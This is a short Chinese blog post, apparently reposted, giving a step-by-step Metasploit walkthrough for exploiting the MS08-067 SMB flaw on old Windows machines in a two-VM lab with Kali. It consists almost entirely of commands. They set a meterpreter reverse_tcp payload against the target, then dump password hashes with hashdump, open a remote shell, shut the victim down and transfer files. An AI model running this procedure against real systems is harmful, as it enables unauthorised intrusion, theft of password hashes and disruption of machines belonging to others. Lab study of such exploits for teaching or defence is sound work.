利用metasploit攻击有ms8067漏洞的PC机过程

标签：metasploit   下载文件   search   模块   target   

拓扑环境：2台虚拟机，一台Kali，另一台有ms08067漏洞的XP或2000或2003机器

msfconsole进入msf控制台

输入search ms0-067

找到相应模块

use exploit/windows/smb/ms08_067_netapi  使用相应模块

set PAYLOAD windows/meterpreter/reverse_tcp 设置反弹连接

show options 查看设置选项

set RHOST 192.168.80.XX 设置远程主机

set LHOST 192.168.80.YY  设置本地主机

show targets 查看攻击目标系统类型

set target 1 目标机器为2000

exploit

等待攻击成功，出现meterpreter>

输入help查看可以使用命令

ipconfig  查看对方IP地址

hashdump获取对方hash值

shell使用shell命令，CTRL+Z进入后台，退出exit

shutdown

还可以上传下载文件等等

利用metasploit攻击有ms8067漏洞的PC机过程

标签：metasploit   下载文件   search   模块   target   

原文地址：http://luzhiping.blog.51cto.com/9334832/1696163